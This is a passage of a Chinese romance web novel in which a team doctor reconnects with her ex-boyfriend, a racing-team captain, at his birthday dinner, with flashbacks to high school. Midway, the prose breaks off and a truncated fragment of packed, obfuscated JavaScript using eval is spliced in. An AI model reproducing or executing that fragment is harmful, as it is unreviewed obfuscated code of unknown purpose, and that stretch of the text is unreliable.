他没再要求换人,只是将这张简历搁在自己办公桌上,将注意力转移到喋喋不休的高朗身上。 “啊~我知道了哥,你不跟女生接触……不会是因为没谈过恋爱吧?” 阿朗露出恍然大悟的表情。 可惜了颂哥这幅好皮囊。长得这么帅,年轻的时候不谈几场轰轰烈烈的恋爱怎么能行。 “?”“去你的,老子谈恋爱的时候你还在上小学。”祁颂气笑了,一脚踹过去。 “对嘛!这才是我哥!” 阿朗躲过这一脚,笑嘻嘻地凑上来:“哥你要是不会跟女孩子相处,我教你啊~” 祁颂:“滚蛋!” …… 回想起昨天颂哥要换掉女医生,被他拦住,现在来了个这么漂亮的小姐姐,高朗很骄傲。 不愧是他!多亏了他! 颂哥肯定是害怕和女生见面,所以今天一大早又出去应酬了。 耳畔传来温和细腻的嗓音:“你们队长也在一起训练吗?” “啊,啊。我们队长他……” “他今天有事出去谈业务了,所以基地里现在只能由我和队员们陪你聊天。” “招待不周,温医生。” 高朗还以为是自己的错觉,这位温医生似乎松了一口气,听到这句话后,甚至整个人都更放松舒展了。 “没关系,这样就挺好。”温乐遥唇角漾着甜甜的笑意。 伴随着奔跑跳跃的咚咚声,篮球击打在地面的砰砰声,嘈杂的聊天声越来越近。 “朗哥,我那个颈部阻力带得调一调……” “今天中午吃啥啊,我都快饿死了——” “哦哦哦,可以去打球咯!” 三个穿着赛车服,被汗水浸湿的少年一边聊天一边推门进来。 声音戛然而止。 一瞬间静止。 三个少年大眼瞪小眼,看看温乐遥,又看看高朗。 “诶?我靠!是在医院里给老大治病的漂亮姐姐!” Jump许腾跃率先认出来。 他愣了三秒钟,一个箭步冲上来,将怀里的篮球夹在肘窝里,笑容明晃晃挂在脸上, “美女姐姐?你怎么来我们这儿了?” 温乐遥看着这个满头脏辫的少年,恬静笑着打了声招呼:“你好,我记得你来过我的科室。” “你还记得我?!” Jump夸张地仰头张手倒地,“太幸福了——” 亮橘色头发的少年挤过来,期待不已,眼睛亮得像是小金毛的黑眼珠。 “美女姐姐,我叫橙子,你对我还有印象不?”他激动地搓搓手。 “有,我记得你那天晚上受伤了。”温乐遥笑容清浅。 “对对对!小伤,不碍事,不碍事。”橙子点头如捣蒜。 Jump凑过来,做了个帅气的姿势耍酷:“我叫Jump,跳得很高的意思。” 高朗疑惑:“怎么?你俩和温医生见过?” “老大受伤那天,就是这位美女姐姐给他消毒包扎的!”橙子羡慕地捧心口。 高朗哭笑不得,转头对温乐遥说:“怪不得他俩回来一直嚷嚷着,以后受伤想让美女姐姐当主治医师,还被我们老大罚跑了五圈。” 如果这个人是温乐遥的话,那确实说得通。 “给你们介绍一下,这位就是我们接下来的队医指导,温乐遥医生。” “温医生每周来讲解一次医疗知识,你们要认真学习啊,以后还要教给新队员呢。”高朗把三个小家伙召集起来。 “阿临,别这么腼腆,打个招呼。”高朗说完,温乐遥的视线落在安静的清俊少年身上。 她依稀记得,这个少年第二天陪着祁颂来换药了。 他们和她擦肩而过。 “我叫张临,”张临红着脸,局促地往衣服上抹了抹手上的汗, “……姐姐好。” “你好呀,阿临。”她笑得温柔。 高朗给温乐遥挨个儿介绍他们的情况。CN车队原本有6名队员,但去年退队了3名,如今只剩下程子帅和许腾跃,以及请假回家了的1名队员。 今年来宿宁招新,祁颂看中张临的天赋,破格招录了他。 报名CN的人数不在少数,但体能训练很辛苦,经过体检和固定的集训后,最终也只筛选出寥寥几个人。 平均年龄也就17、18岁的皮猴子,竟然都坚持了下来。 他们都学习不好,早早地辍学。祁颂不愿让他们当文盲,不光训练赛车,文化课也每天都安排得满满当当。 小孩一多,气氛就分外热络。他们年纪不大,但手掌脚掌都覆着茧,每天的高强度训练,无数次锻炼体力耐力爆发力。 虽然不是传统意义上的好学生,但有礼貌有素质。 竟然出奇地好相处。 温乐遥来之前的那一点紧张,也随着他们的热情友善,而烟消云散。 - 下午三点。 祁颂在隔壁市谈完业务就开车回了宿宁。 这次的合作并不愉快。 足够信任的投资商表面友好,却在背后质疑他带队的能力,认为他明年的联赛无法夺冠,故意压得最低价。 他敛眸拧眉,冷着一张帅脸,在高速上开得飞快。 轰鸣声过后,枪灰色跑车只留下一道残影。 直至来到盛源区,训练基地。 祁颂停好车,修长指节搭在方向盘上,眉心酸胀,只能闭上眼静静休息。 他从不把情绪带到队里,更不愿让孩子们分担他的痛苦。 他不缺钱,头脑灵活,又在国外修过金融学,钱没了可以继续赚。 可是信任的合作商背刺他, 他也无能为力。 祁颂敢惹敢撑,从不惧怕流言蜚语,也大方直面别人的恶意。 但他讨厌弄虚作假。 男人抿了抿唇,扯开领带,浪荡挂在脖颈,心烦地从烟盒里磕出一根细长的香烟夹在指间。 现在的他已经没了烟瘾,十天半个月也抽不了一次。 蓝色火苗随着“叮”的一声亮起。 祁颂低垂双眸,看着猩红的火光时隐时现,右眼角的泪痣勾人,英挺的五官笼罩在烟雾里,帅脸模糊看不清晰。 他下意识把玩着温乐遥送他的打火机。指腹摩挲着,有磨损的痕迹。 每次心烦时,握着打火机,心情都能平复一些。 手机弹出两条微信消息,打开一看,是高朗发的,满屏的感叹号刺得他眼疼。【哥,你还不回来?!!!】 【温医生长得可漂亮了!!性格超级好!!我宣布,她就是咱们队的女神!!!/爱心】 祁颂眉心拧起来,盯着这两句话看了半晌。 漂亮,性格好,女神。 关他什么事。 祁颂用力抿了一口,沉沉呼出缭绕的白色烟雾。 关他什么事。 他只是一个被温乐遥抛弃的前男友而已。 她招人喜欢,关他什么事。 祁颂默念第三遍。 片刻后,他果断掐灭烟头。 她不喜欢烟味。 祁颂冷着一张帅脸,大步流星去了基地宿舍,五分钟速冲完澡换了身衣服,这才假装漫不经心地前往。 刚训练完,这会儿正好休息。 祁颂从后门看,几个人正围在一起聊天。 Jump和橙子的大嗓门穿透力很强,几乎听不到其他人的声音。 哪怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你收着吧,伤口一碰容易撕裂,而且现在还有点渗血。”她鼓起勇气,举得更高。 “谢谢,我不收礼物。” 这话不假,同学们都知道他不收情书礼物,送也没用,却依然有女生前赴后继春心萌动。 每次抽屉里多出不属于他的东西,祁颂就会扔到角落里那张无人使用的空桌子上。 时间久了,堆得越来越多,就被值日生清扫进垃圾桶里。 温乐遥脱口而出:“这个不是礼物!” “?” 见他等着自己继续编,她愈发心虚,眼神飘忽,脸越来越红: “我觉得你可能需要,我是想…想卖给你的。” “两块钱。”说到最后,声音越来越小。 两根细白手指举在自己眼前,祁颂整愣了几秒钟,忽的轻笑出声。 或许是觉得有趣,或许是诧异她敏锐的观察力。 祁颂瞥了一眼,从钱包里抽出几张纸票,板板正正塞到她手心里,接过这一盒创可贴,唇角勾着痞气的笑: “谢了,好学生。” 她像是变魔术一样,从兜里又掏出一瓶双氧水,飞快说道: “这是赠品。你给的钱太多了。” 淡粉色的卡通创可贴。 在男女界限划分格外清晰,男生用粉色就会被耻笑的高中,祁颂毫不避讳地贴在手背上。 一米八多的劲瘦少年,满身都是蓬勃的男性荷尔蒙气息,打篮球时,粉色创可贴随着他流畅的动作忽上忽下,竟然有种反差萌。 火辣辣的伤痕被温柔掩住,祁颂心中升起一股奇异的安抚感。 有同学注意到,好奇打探八卦: “颂哥,是不是嫂子给你送的这么可爱的创可贴?” “别瞎传,人家怎么可能看得上我,”祁颂似笑非笑,抄着兜懒洋洋破解谣言, “觉得好看,买的。” 10. 文学城独发 10 晋江文学城 屋里再次爆发出一阵笑声,温乐遥也笑眼弯弯。 看起来都很高兴。 祁颂敛起思绪,推开后门走进去。 一时间,笑声停止,齐齐看向他。 “老大?!” “哥,你回来了!” “给你介绍一下,这是我们队的队医指导,温医生!你还记得她不?” “温姐姐这么漂亮,老大会记得吧。” 几个小皮猴子一窝蜂涌上去,簇拥着他走过来,七嘴八舌给他介绍。 温乐遥唇角的笑容凝住。 她不确定祁颂见到她会是什么反应。 会……把她赶走吗? 想到这里,温乐遥紧张的心里竟然隐隐有些期待。 如果还没教课就被赶走的话,领导也不会认为她能力不行,大概率会认为祁颂难伺候。 虽然,他确实难伺候。 想象中的冷脸并没有出现,恶语也没有。 男人主动走过来,在她面前站定,一身利落的灰色运动服,碎发干爽,像是刚打理过,随意又不失风采。 “你好。” 他主动和她握手,滚烫掌心包裹着她紧张到冰凉的小手。 温乐遥一整天的游刃有余险些溃败。 她努力压住狂乱的心跳。 祁颂指腹的粗粝薄茧有意无意摩挲过她的手心,酥酥麻麻的。 用只有两个人能听到的音量,唇角勾起一抹冷笑: “保证不会主动出现在我面前?” 想起自己和他结束相亲时放下的豪言壮语,温乐遥就一阵窘迫。 在他看来,她刚说过不再主动出现在他面前。 转头就来当他们的队医指导。 像极了抛弃他后,又蓄意勾引试图吊着他的坏女人。 她抿唇,温声细语解释:“我是被动的。” 他眯起眼眸:“你的意思是,让我主动?” “???” 她不是,她没有啊喂。 看着褪去青涩面庞的漂亮女生,再次睁圆了乌黑透亮的眼眸,露出和多年前相似的懵懂表情。 温乐遥脸颊不再圆润有婴儿肥,尖尖的下颌,窄窄的轮廓,嘴唇柔软红润。 自从听她说完那句“我们不会再有交集”后,祁颂的脸色一直不好看。 最近这段时间明显加大了整队的训练强度。每天暴汗后,简单洗漱,倒头就睡。 而现在,无论是卫宁极力举荐,还是温乐遥毛遂自荐。 她确实又一次站在了他的面前。 曾经被她解开的藤蔓,似乎再次以难以抵挡之势,逐渐交织,紧密缠绕在了一起。 祁颂心情愉悦,漆黑眉眼染上笑意: “温医生你好,我叫祁颂。” 温乐遥并不打算暴露她和祁颂的关系。 他客气,她也客气。 他们就这样,做个熟悉的陌生人也挺好。 简单打过招呼后,温乐遥坐好,看他们进行今天最后的训练。 果然,哪怕基地里到处都是智能监控,队长来了之后的状态也明显不一样。 祁颂抱臂而立,冷眸微抬,皮猴子们收起在美女姐姐面前耍酷的小心思,都一本正经,老实且怂,将失误率降到最低。 时至傍晚,他们训练终于结束。 橙红色彩霞逐渐消没在西边,雾气四起,被氤氲的暗灰色掩盖。 温乐遥看了看时间,准备回家。 皮猴子们围在她身边,七嘴八舌,依依不舍: “温医生,今晚有时间吗?跟我们一起聚餐吧?” “是啊是啊,遥遥姐,一起吃顿饭吧。” “对!遥遥姐,吃完饭我就完成今年和美女共同进餐的心愿了。” 温乐遥笑吟吟的:“今天就不吃了,改天我请你们。” 几个人还在不死心地劝说。 一直安静乖巧的张临突然开口: “姐姐,其实今天是我们老大生日,我们打算给他一个惊喜。” “想邀请你也来热闹热闹。” “今天……生日?”温乐遥一愣,停住脚步。 “对,虽然老大身份证上是11月1日吧,”高朗耸了耸肩, “估计他觉得这日子听起来跟光棍一样,所以一直都提前一天过。” 温乐遥怔住。 她没想到,分手后,祁颂还保留着以前的习惯。 他们恋爱时,祁颂每年都提前一天,陪她一起过生日。 温乐遥想要单独给他过,他却总是犯浑逗她:“宝宝,我就喜欢和你一起过生日。怎么,怕我把你的生日日期占用了吗?” 没想到,他现在还真“占”成习惯了。 回忆起祁颂艰难的成长环境,以及他每次陪她一起过生日时隐秘的期待激动,冷傲眉眼都溺着温柔。 再次看向这群孩子,温乐遥的心像是被什么击中,软成了一滩春水。 祁颂对他们确实很好,费心费力费时间费金钱。 或许,他就是想把这群孩子当成曾经的自己,重新养一遍吧。 反正今天爸妈和闺蜜都没法来给她过生日。 那不如,和这些孩子们一起过。 - 远远看见温乐遥朝几个皮猴子笑着摇头,祁颂就知道她不愿和他们搀和。 “温医生如果不方便的话——” 他大步流星走过去,沉吟着低声开口,不想成为再次被她抛弃拒绝的那个人。 与此同时,温乐遥想通了,她颔首微笑:“好啊。” “发我地址吧,我们店门口见。” 在他们的欢呼声中,她看向走过来的祁颂,眼眸微微放大,清纯脸庞透着无辜: “祁队长,你刚才说什么?” 她也要来,要和他们一起聚餐。 祁颂挑眉,不愿承认却又不得不承认,自己暗爽着她的主动。 重逢后,她似乎一直在努力创造机会接近他。 她果然放不下他。 祁颂的心情莫名愉悦。 “既然你想来……” 男人低睨着眸子,又慢慢掀起眼皮盯着她,插兜做出满不在乎的臭屁模样, “欢迎。” - 因为多了位女性,祁颂把聚餐地点从皮猴子们喜欢的烧烤店,换成了云涧茶隐。 宿宁数一数二的宴客高端场所,把几个皮猴子兴奋地不得了。 坐在车里叽叽喳喳,讨论个不停。 “好家伙,咱哥今天豪横!” “咱们六个人急赤白脸吃一顿,不得几千块啊。” “之前让老大带我们去这里吃,他都不肯,咱今儿是沾了漂亮姐姐的光。” “颂哥这么大气,会不会是对遥遥姐有感觉?” 此话一出,几个人都思考起来。 “看老大那冷淡的模样……悬。他多半只是想给我们撑一撑面子,让遥遥姐知道,咱们队不是抠门的。” “有道理。” “嗯!还是这个可能性大。” 到了云涧茶隐停车场,温乐遥看着这青瓦飞檐的仿宋式茶楼,黑底金漆匾额彰显着低调的贵气。 她抚上右耳,想起祁颂给她送耳坠时的场景,思绪又蔓延到上次和祁颂相亲的画面。 这是最近第三次来这里了。 每一次,都和他有关。 祁颂定的包间在庭院最深处,绕过小桥流水,以及漫长回廊,在清脆作响的风铃声中,皮猴子们嘻嘻哈哈走了进来。 队员们都和温乐遥合得来,说说笑笑,这顿饭吃得很轻松。 祁颂寡言,但他气场强大沉稳,骨节分明修长的指节握着茶杯,寥寥几句话就能主导全场。 无论在哪儿,他都是最耀眼的存在。 吃到一半,几个小的觉得不过瘾,嚷嚷着要喝酒。 祁颂知道他们喝醉后都是什么德行,轻飘飘看他们一眼,四个人瞬间乖巧闭嘴。 只敢小声嘀咕:如果屹然哥在就好了。 温乐遥听到他们口中的屹然哥,就知道是熟人。 她的心微微提起来。 今晚杨屹然不在,如果哪天正好和她碰上,以杨大少爷那个漏勺嘴,肯定第一句就暴露她和祁颂的关系。 杨屹然——祁颂的发小、谢柔的手下败将。 这位少爷不着调,喜欢泡夜店酒吧,游戏打得又菜又爱玩…… 但他是祁颂在队里唯一的同龄人,所以只要他出面,几个皮猴子的想法多半能实现。 因此,他们都把屹然哥当作救星。 温乐遥垂眸,由于紧张,细密长睫微微颤动。 还好她不经常来。 一周一次,应该不会碰见这个神出鬼没的大少爷。 说曹操曹操到。 祁颂的微信响了起来,他接通,立在桌角。 “哥!我刚开完会,准备去机场呢。” 杨屹然开的视频,独特的嗓音从电话那头传出来,“今儿真帅!生日怎么过的?阿朗他们几个在旁边没?” “在呢!在呢!屹然哥……” “屹然哥你几点来到啊?等你来了咱去续摊儿。”几个小的正馋着酒,听见救星的声音,扯着脖子呼唤他。 “屹然哥,我给你介绍介绍,咱队里新来了位大!美!女!” Jump一个弹射起步,从座位上跑到祁颂身边。 温乐遥僵住,心都提到了嗓子眼。 她坐在祁颂对面,在杨屹然的视线盲区,只要不翻转手机就看不见她。 Jump还在描述着这个姐姐多么漂亮温柔。 温乐遥的手机响了起来,她迅速拿起来,借这个机会冲他们笑笑往外走: “不好意思,失陪一下。” “喂,你好。” “女士您好,您朋友在我们店订的生日蛋糕,即将为您派送,方便告诉我您现在的地址吗?”电话那头传来礼貌的声音。 温乐遥知道,这是谢柔一个月前给她订的。 这家店做的蛋糕很美。 昂贵的进口冰淇淋奶油打发成绵密口感,奶白色蛋糕主体,抹面平整,点缀精巧,夹心馅料是桃肉、脆啵啵和爆珠,又有柔嫩的粉色奶油淋面,像是爆汁的蜜桃。 她握着手机 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听到动静,他掀起薄薄的眼皮,狭长黑眸锁住她。 “……他们几个呢?”温乐遥眨了眨眼,假装随意问道。 “都出去了。” 她点头:“那,蛋糕一会儿再切吧。” 温乐遥把蛋糕放在桌子上,稳稳落座后,尴尬的沉默蔓延在两人之间。 祁颂的嗓音有些哑,语气淡淡的: “他们不知道今天是你的生日。” “啊……没,没关系。” “我把我的蛋糕借给你。” 温乐遥脱口而出,善解人意地笑了笑。 祁颂觉得好笑,手中的汤匙搁在陶瓷碗里,发出一声轻响。 “你不许愿吗?” 读高中时,恋爱时,她每年的生日都必不可少许愿和吹蜡烛的环节。 “不了,”她摇头,既然和祁颂一起过生日,她打算今年把这个机会留给他, “等下你许愿就好。” “被他们看到,还要解释。” 男人悠悠起身,结实长腿轻松跨过矮几,将包间房门推上: “这样他们就看不到了。” 这句话很正常,但在某些情境中就不太正常。 祁颂低缓的嗓音让温乐遥烧红了脸,白嫩脸颊迅速染成绯色,一直蔓延到脖颈。 祁颂耐心帮她拆开蛋糕,像以前那样,倾尽所有温柔,把银色蜡烛插在中心位置。 有些磨损的金属打火机“叮”一声亮起蓝色火焰,随即,火苗吞噬了烛芯。 温暖火光映照下,她的视线随着祁颂手里的打火机,陷入片刻失神。 那是她大一勤工俭学给他买的第一个礼物。 她前段时间掉在酒吧沙发上的水滴形钻石耳坠,是勤工俭学给自己买的第一个礼物。 当时想着以后要把配套的项链和手链一起买下来。结果售罄后,设计师再也没出过同款,连盗版没有。 咔哒一声轻响,祁颂远程操控将灯光关掉。 周围被黑夜吞噬,唯独她被暖色烛光映照,以及站在阴影处的他。 温乐遥凝视着烛火,闭上眼,声音很轻,只有她听得到: “我希望……” 我希望祁颂不要再受伤害,可以天天开心,顺心如意。 刚准备吹蜡烛时,一只大手遮住了她的双眼。 清幽的雪松味混着阳光的味道,浓烈滚烫的男性气息将她包裹。 祁颂不知什么时候来到了她身后。 他微微俯身,温热呼吸随着每个字的发音,喷洒在她敏感的后颈: “生日快乐。” 温乐遥一阵颤栗发痒,身体软成水。她眨了眨眼,长睫划过他的掌心,在一片无际的黑暗中,听到窸窣的声音。 他像是放了个盒子。 随着祁颂收回手,温乐遥借着明灭的烛光,看到眼前印着烫金字体的首饰檀木盒。 “!” 她对这款首饰太熟悉,以至于一眼就认出了,是自己心心念念的牌子。 祁颂帮她打开,哑光麂皮绒内衬包围中,赫然躺着一串水滴形钻石项链和手链。 温乐遥猛地抬眸,看着烛火映照下,男人英挺冷傲的面容。 骨相优越,气质矜贵的祁大少爷,哪怕是这种死亡角度,依旧帅得让人心动。 “送给我的吗?” 她的嗓音柔软温和,和她的长长睫毛一样,像是挠人的小钩子,晃啊晃,勾得他喉咙发痒。 祁颂直起身,微微别过脸不看她。 宽阔的肩背和劲瘦的腰在墙上投出男模特一样的漂亮影子。 这是几年前做出来的首饰,在分手之前。 但他养护得好,定期维护保养,再次拿出来,仍旧崭新发亮。 祁颂早就忽略了自己曾飞遍欧洲寻找设计师,又超出五倍市价重金聘请设计师出山重做了这款首饰。 “……” 他轻描淡写地开口,像是毫不在意的模样, “路上顺手买的。” 11. 文学城独发 11 晋江文学城 温乐遥仰头看祁颂,又低眸望着光影下闪动的钻石。 他……真的是在路上买的? 这么巧,和她那件耳坠刚好是一套的。 激动、疑惑、欣喜、愧疚,各种情绪浓烈交织在一起。 她吹熄蜡烛,轻声说了句“谢谢你,祁颂”,借着袅袅余烟起身准备去开灯。 开了灯就能好好欣赏这套首饰了。 屋外回廊里传来脚步声,以及男孩子们的交谈声:“咦?咱这屋怎么停电了?” “老大!遥遥姐!你们在里面吗?” “服务员!麻烦来一趟!” 听着他们的呼唤声,温乐遥迅速扣上首饰盒,慌乱之下塞到祁颂怀里。 男人淡定接着,不动声色地把精巧小盒子放进她的包。 还好温乐遥今天是以来讲课为目的,带了资料,所以背着尺寸较大的托特包。 和温乐遥的紧张截然不同,祁颂好整以暇,微倾身体,低声道: “你在怕什么?” “我怕解释不清……”她匆匆丢下一句话,往前迈了几步走到门口,恨不得离他三丈远,整个人浸在月光之下, “呃,嗨~阿朗。” “遥遥姐!哥!你们没事吧?” 高朗率先冲进来,黝黑脸庞在夜色中看不清表情,只能看到一口白牙。 “没事,刚才停电了。” 祁颂低声解释,淡定中还带着一丝愉悦。 他远程操控开关,房间骤然亮起。 空气中漂浮着淡淡的烛火味。 温乐遥在心里赞了句牛逼。 祁颂一直这样,天塌下来他都能面不改色顶着。 “哎,好了,来电了!”高朗抬头看向天花板,一个启动步就跑出去,扯着嗓子喊, “不用喊人来了!来电了!” 个高腿长的少年们鱼贯而入,原本安静的房间顿时嘈杂起来。 “蛋糕?” “哇,好可爱——” “这蛋糕谁给的?这么好看。” “跟个小桃子一样。” “遥遥姐,这是你送给老大的吗?” 见他们一个个神色自然,温乐遥松了一口气。 看来杨屹然这个漏勺没说出她和祁颂的关系,他们还不知道他俩是前任。 她也调整好了状态,笑盈盈的看向祁颂: “对,祁队长生日快乐。” “天啊,遥遥姐也太有心了吧!” “漂亮温柔还贴心,这谁不迷糊。是吧,哥?” “哥,你也给点反应啊。” 张临眼尖,率先发现那根熄灭了的蜡烛: “哥,你都许完愿了?” “嗯。” “谢谢温医生。” 祁颂勾着唇角,模仿温乐遥说话的语气,右眼角泪痣柔和了冷肃的面容。 “以前从来没见老大许过愿……” “老大不是不吃蛋糕嘛!” Jump哀嚎,“我们错过了这么多!啊啊啊早知道该在走廊里排练的。” 说到排练,四个人像是触发了某种指令。 麻溜站成一排,在阿朗的带领下,表演了一段稀里哗啦毫无韵律的Rap接龙。 温乐遥两眼弯弯,笑得像是小月牙。 这些活宝真是意想不到的可爱。 最后,几个人像变戏法一样,掏出一个摩托头盔。 “哥,我们攒钱给你买了个头盔。” “知道你恋旧,摩托车和头盔都舍不得换新的。” “但那个头盔前段时间不是裂了嘛。”“这个保证结实耐用!” 祁颂的摩托是高中时买的,重型机车,一直用到现在。 他比队员们都高,187的净身高,随便往那儿一站,都是惹眼的存在。 男人看似随意把玩着头盔,但修长手指骨节绷紧,泛成青白色。 他很喜欢。 祁颂轻笑一声,痞气逗弄他们: “看来下个月零花钱,我得多给点了。” “好啊!当然好!” “多多益善!”几个人嘻嘻哈哈和老大打闹。 温乐遥看着这个场面,也在笑。 真好。 现在有这么多真心爱着祁颂的弟弟们。 他们在那边表演,温乐遥已经挨个儿切好了蛋糕。 几个小家伙眼睛熠熠发亮,纷纷跑过来,端着碗排好队,馋得口水都要流出来了。 橙子凑到温乐遥跟前,笑嘻嘻的: “我们这和尚队,都没有姑娘来,一年到头也吃不了几次蛋糕。” “之前Jump谈恋爱的时候,还有妹子来给送甜品奶茶,现在屁也没有了。” 切着蛋糕的时候,茶楼老板带着两名端果盘的侍应生走进来,客气地和祁颂寒暄。 他和祁颂有业务往来,每次都好好招待这位贵客。 老板按流程递烟,祁颂抬手婉拒。 转身,示意他来外面聊天。 因为温乐遥闻不惯烟味。 - 直到老板被服务员紧急喊走,祁颂仍然站在回廊。 男人双手撑着围栏,暖橘灯笼下,柔和光线模糊了他英挺的脸,只看得清深邃眉眼,以及运动服也遮不住的漂亮肌肉线条。 假山小溪的各色锦鲤争相吃着鱼食。 冷风顺着吹来,掀起他额前短短的碎发,面容愈发清晰。 一墙之隔,祁颂透过木窗,瞥见那抹穿着白衬衫的秀丽身影。 她正在递给阿朗蛋糕,还剩一小半。 旁边还有一块早就切好的。 忙活完所有人,温乐遥把那块早就切好的蛋糕端起来,环顾四周,有些茫然地看了看。 她的眼神清澈而纯真,像温和的水蜜桃。 祁颂忍俊不禁。 他敢肯定,她在找他。 十年前的今天,10月31日。 宿宁一中旁的老小区。 祁颂去杨屹然住的老破大,帮他收拾出国的行李。 说是帮忙收拾,其实只是不想回家。 他懒散倚着门框,高挺鼻梁贴着个粉色创可贴。之前班上那个好学生给了他一盒,还没用完。 前两天社会上的小流氓欺负班上的老实男生,要钱,侮辱,殴打。 祁颂和几个兄弟逃课去网吧时刚好碰上。 他看不惯欺负弱小,一脚踹过去,拳拳到肉,下手又狠又准。 有个黄毛使阴招,抄起水果刀就朝他划过来。 祁颂一闪,被划伤了鼻梁。 鲜血流下来。 他抬脚踹飞那柄水果刀,踩在黄毛的手腕上,听着痛苦的嚎叫,笑得冷戾而瘆人: “再他妈找死,我就踩断你的手。” 两拨人打到最后,被学校保安发现,逮着了几个。 祁颂他们算是见义勇为,光荣负伤,但处理方式不对,应该直接报警处理。 气得班主任直跳脚。 但凡有一个出事,她整个人就要碎了。 祁颂被勒令写检讨,停课三天。 他游荡着回父亲家,无人在意;回母亲家,被阴阳怪气。索性和杨屹然去网吧泡了两天。 第三天,10月31日,杨大少爷蔫蔫儿的说要回去收拾行李。 他爸妈为他学习,在一中旁边买了个老房子,杨屹然偶尔回去,东西却不少。 抱着祁颂哭半晌,杨屹然抹着眼泪一遍遍嘱咐他:“颂哥,别忘了兄弟。” “哥,你明儿生日怎么过?” “不过。”祁颂冷着一张帅脸,指间夹着袅袅香烟,心烦意乱地呼出青白色烟雾,冷哼, “过生日有什么意思。” “等我走了,你要是没地方去,就来这儿待着。” “哥,我的家就是你的家。” 杨大少爷收拾完四个行李箱,坐在地上,从烟盒里磕出一根细长的烟。 两人一站一坐,屋里缭绕的烟雾像是人间仙境。 “我不来,这里哪有网吧好玩。”祁颂哼笑一声,和他逗趣。 嘻哈谈笑间,有敲门声响起。 祁颂抬眸,和杨屹然对视一眼后,抬手打开房门。 少女捧着一块蛋糕,脸庞清纯素白, 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祁颂托着那块胖乎乎的奶油蛋糕,扬眉看向身旁的男生: “……她是你邻居?” “木几道啊,”杨屹然耸肩,“哥你也知道,我一年到头来不了几次。” “哎?刚才她喊你名了,你俩认识?” “班上同学,”祁颂回想起她快呛出眼泪的小红脸,思索片刻,利落地将烟头按灭, “不熟。” 也就是那天,他在门口看到了她的家人。 她父母和小弟弟。 都是朴素的模样,但一家人围着她说说笑笑,气氛祥和而轻松。 父亲脾气温和,母亲利落干练又疼爱她。 虎头虎脑的弟弟才五六岁,迈着小短腿,奶声奶气喊着“姐姐,姐姐”,小胖手拿着生日帽,想要给她戴上。 这样温暖的场景,祁颂已经很久很久没有经历过了。 记忆已经模糊不清,他甚至想不起,父母上次对他笑是什么时候。 他从来不吃甜食。 但那天端着那块蛋糕,却突发奇想咬了一口。 蓬松蛋糕胚和醇香奶油融化在口中。 奶香味很浓。 够甜。 比烟好。 这里好像,确实比网吧好。 … 回想起过去,祁颂勾了勾唇角。 直到和温乐遥恋爱时,他竟然也没发现—— 他们的缘分深,早就有了交集。 “祁颂。” 温乐遥左看右看,终于在回廊找到那抹颀长劲瘦的身影,她快步走过来, “你要尝一尝蛋糕吗?” 浓稠如墨的夜色中,柔光暖融融打在她清纯白皙的脸上,笑意清浅。 和十年前的青涩稚嫩相比,多了几分温柔坚定。 祁颂低垂视线凝着她,眸色渐深,喉结微微滚动。 她举起来那块蜜桃粉流心的奶油蛋糕,声音温软,眼波弯弯流转像秋水。 “很好吃的。” 温乐遥补充一句。 男人没有接过去,鼻尖嗅着水蜜桃的清香。 他俯身凑近。 漆黑眸子紧紧锁着她。 咬了一口蛋糕,舌尖轻抵,仔细品尝着口中的香甜。 侵略性的眼神配上他看似单纯无害的动作,让温乐遥一僵。 随即血液翻涌,脸颊烧红。 她猛地想起曾经沉醉于他的日夜。 … 那夜迷糊中,只看得见他抬起头时被汗水浸湿的碎发,红润唇角的水渍,平直的锁骨,以及流线型的肌肉线条。 他漆黑眸子始终锁着她,幽深像漩涡,眼角的泪痣勾人。 见她看过来,眼底漾着的笑意根本藏不住。 他故意的。 当时的温乐遥还是个纯情少女,被他逗弄,脸颊“腾”一下涨红,小口小口喘着气,将枕头丢过去: “祁颂!不许再舔了!” 12.文学城独发 12 晋江文学城 可现在不能丢他枕头,更不能像以前那样娇声呵斥他。 毕竟,他只是吃个蛋糕而已。 可是蛋糕上明明有叉子,他为什么不用叉子吃,非要直接低头舔呢! 温乐遥气鼓鼓。 但只是几秒钟的功夫,祁颂就主动接过了蛋糕,舌尖轻抿嘴唇,语气平和:“不错。” 看着一脸正经的他,温乐遥不得不承认,是她想得太颜色了。 她闭上眼,平复呼吸后,转身就走。 离这个妖孽男人远点。 再待下去,她的魂儿就又要被勾走了。 晚上和父母开视频的时候,温乐遥的脸还没有完全降温。 只要一想起和祁颂有关的画面,就口干舌燥,脸颊滚烫,到现在还是绯红娇俏的模样。 秦淑兰盯着屏幕,灵魂发问:“脸怎么这么红?遥遥,喝酒了?” “没,妈妈,”温乐遥把项链手链收起来,不敢再想祁颂,有些心虚地眨了眨眼, “就是刚洗完澡,被热气蒸的。” 夫妻俩和闺女幸福聊着家常,在温乐遥有不祥的预感时,他们果然话锋一转: “最近见的男孩子,有没有心动的?” “……”温乐遥的幸福到此结束。 “有,”她无奈地看了爸妈一眼,“我喜欢,但是人家看不上我。” ——因为我之前把他甩了。 穿着白色老头衫的温长生眉毛一拧:“嗬!那条件得多么优秀,能看不上我闺女?” “爸爸,你闺女就是个普通人。”温乐遥窝在椅子上,慢吞吞护肤。 “我闺女配谁都绰绰有余!” “淑兰啊,给那个当红娘的王芬打个电话,她手里男孩子资源多!” “遥遥,咱不怕昂,妈这就给你介绍几个优秀的!” 温乐遥哭笑不得,被父母感动的同时,又开始头疼接下来的相亲。 和祁颂分手后,她眼里就再也装不下任何一个男生。 她也尝试过和某个相亲对象相处。 很难。 连恋爱那一步都走不到,最多止步朋友。 能拖就拖。 温乐遥一直秉承着这个观念。 - 第二次去训练基地时,电视台也派了摄像来,随行的还有一位记者。 温乐遥拿出考教师资格证时的教案本,认真研究了三天,才准备给孩子们讲课。 天气渐冷,宿宁要等到11月15号才能供暖。 深秋的小雨湿冷,连绵不绝,从凌晨一直下到了现在。还好雨不大,并不影响她开车。 温乐遥脱下灰色风衣,露出白色衬衫和淡粉色毛呢半身裙,讲课的时候袖口挽起来,露出一截匀白细腻的手腕。 记者在一个多月前和她见过,是个年轻的男人,叫何旭阳。 他不停地向摄像大哥夸赞着温医生超强的控场能力和专业素养,把她夸成了医学泰斗一样的人物。 以至于温乐遥都有些恍惚:啊?我吗? 